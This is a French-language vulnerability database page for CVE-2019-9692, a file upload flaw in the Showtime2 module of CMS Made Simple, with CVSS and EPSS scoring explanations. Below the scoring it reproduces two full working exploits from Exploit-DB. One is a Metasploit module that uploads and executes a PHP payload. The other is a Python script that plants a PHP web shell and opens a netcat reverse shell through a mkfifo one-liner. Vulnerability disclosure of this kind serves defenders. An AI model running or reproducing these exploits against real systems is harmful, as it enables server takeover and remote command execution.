CVE-2019-9692 : Détail

CVE-2019-9692

6.5
/
Moyen
File Inclusion
A04-Insecure Design
77.31%V3
Network
2019-03-11
17h00 +00:00
2019-03-28
17h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

class.showtime2_image.php in CMS Made Simple (CMSMS) before 2.2.10 does not ensure that a watermark file has a standard image file extension (GIF, JPG, JPEG, or PNG).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-434 Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 4 AV:N/AC:L/Au:S/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 46627

Date de publication : 2019-03-27 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE", 'Description' => %q( This module exploits a File Upload vulnerability that lead in a RCE in Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated user with "Use Showtime2" privilege could exploit the vulnerability. The vulnerability exists in the Showtime2 module, where the class "class.showtime2_image.php" does not ensure that a watermark file has a standard image file extension (GIF, JPG, JPEG, or PNG). Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0, 3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1 ), 'License' => MSF_LICENSE, 'Author' => [ 'Daniele Scanu', # Discovery & PoC 'Fabio Cogno' # Metasploit module ], 'References' => [ ['CVE', '2019-9692'], ['CWE', '434'], ['EDB', '46546'], ['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'], ['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Mar 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']), OptString.new('USERNAME', [true, "Username to authenticate with", '']), OptString.new('PASSWORD', [false, "Password to authenticate with", '']) ] ) end def do_login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'vars_post' => { 'username' => datastore['username'], 'password' => datastore['password'], 'loginsubmit' => 'Submit' } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 302 @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s @cookies = res.get_cookies return end fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end def upload(fname, fcontent) # construct POST data data = Rex::MIME::Message.new data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"") data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"") data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"") data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'headers' => { 'Cookie' => @cookies } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i) return end print_warning('No confidence in PHP payload success or failure') end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini') ) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 200 module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first) if module_version < Gem::Version.new('3.6.3') # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed. vprint_status("Showtime2 version: #{module_version}") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def exploit unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end @csrf_name = nil @csrf_value = nil @cookies = nil do_login # Upload PHP payload fname = "#{rand_text_alphanumeric(3..9)}.php" fcontent = "<?php #{payload.encode} ?>" print_status('Uploading PHP payload.') upload(fname, fcontent) # Register uploaded PHP payload file for cleanup register_files_for_cleanup('./' + fname) # Retrieve and execute PHP payload print_status("Making request for '/#{fname}' to execute payload.") send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname) }, 15 ) end end
Exploit Database EDB-ID : 46546

Date de publication : 2019-03-14 23h00 +00:00
Auteur : Daniele Scanu
EDB Vérifié : Yes

#!/usr/bin/env python # Exploit Title: CMS Made Simple (authenticated) arbitrary file upload in Showtime2 module # Date: March 2019 # Exploit Author: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: http://viewsvn.cmsmadesimple.org/listing.php?repname=showtime2 # Version: Showtime2 module <= 3.6.2 # Tested on: CMS Made Simple 2.2.8 in Ubuntu 18.04 # CVE : 2019-9692 import requests import optparse from requests_toolbelt.multipart.encoder import MultipartEncoder parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://192.168.1.10/cms)") parser.add_option('-U', '--username', action="store", dest="username", help="Username for login", default="admin") parser.add_option('-P', '--password', action="store", dest="password", help="Password for login", default="password") parser.add_option('-l', '--local', action="store", dest="local", help="Local uri for reverse shell", default="localhost") parser.add_option('-p', '--port', action="store", dest="port", help="Local port for reverse shell", default="2222") options, args = parser.parse_args() if not options.url: print "[-] Specify an uri target" exit() if not options.username: print "[-] Specify an username for login in administrator panel" exit() if not options.password: print "[-] Specify a password for login in administrator panel" exit() base_uri = options.url url_login = base_uri + "/admin/login.php" user = options.username password = options.password session = requests.Session() __c_var = "" lhost = options.local lport = options.port # Login in administrator panel for get the csrf token def login(username, password): print "[*] Login to cms" global __c_var credentials = {"username": username, "password": password, "loginsubmit": "Submit"} response = session.post(url_login, data=credentials, allow_redirects=False) __c_var = response.headers['Location'].split("__c=")[1] print "[*] Token value: " + __c_var # upload a php script with reverse shell in vulnerable functionality def upload_shell(): print "[*] Uploading webshell" multipart_data = MultipartEncoder( fields = { 'm1_input_browse': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'text/plain'), '__c': __c_var, 'mact': 'Showtime2,m1_,defaultadmin,0', 'm1_upload_submit': 'Upload' } ) response = session.post(base_uri + '/admin/moduleinterface.php', data=multipart_data, headers={'Content-Type': multipart_data.content_type}) # Call the script uploaded for spawn a reverse shell def spawn_shell(): print "[*] Spawn a shell to " + lhost + ":" + str(lport) payload = {"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + lhost + " " + str(lport) + " >/tmp/f"} requests.post(base_uri + "/uploads/images/shell.php", data=payload) login(user, password) upload_shell() spawn_shell()

Products Mentioned

Configuraton 0

Cmsmadesimple>>Cms_made_simple >> Version To (excluding) 2.2.10

Références

https://www.exploit-db.com/exploits/46546/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/46627/
Tags : exploit, x_refsource_EXPLOIT-DB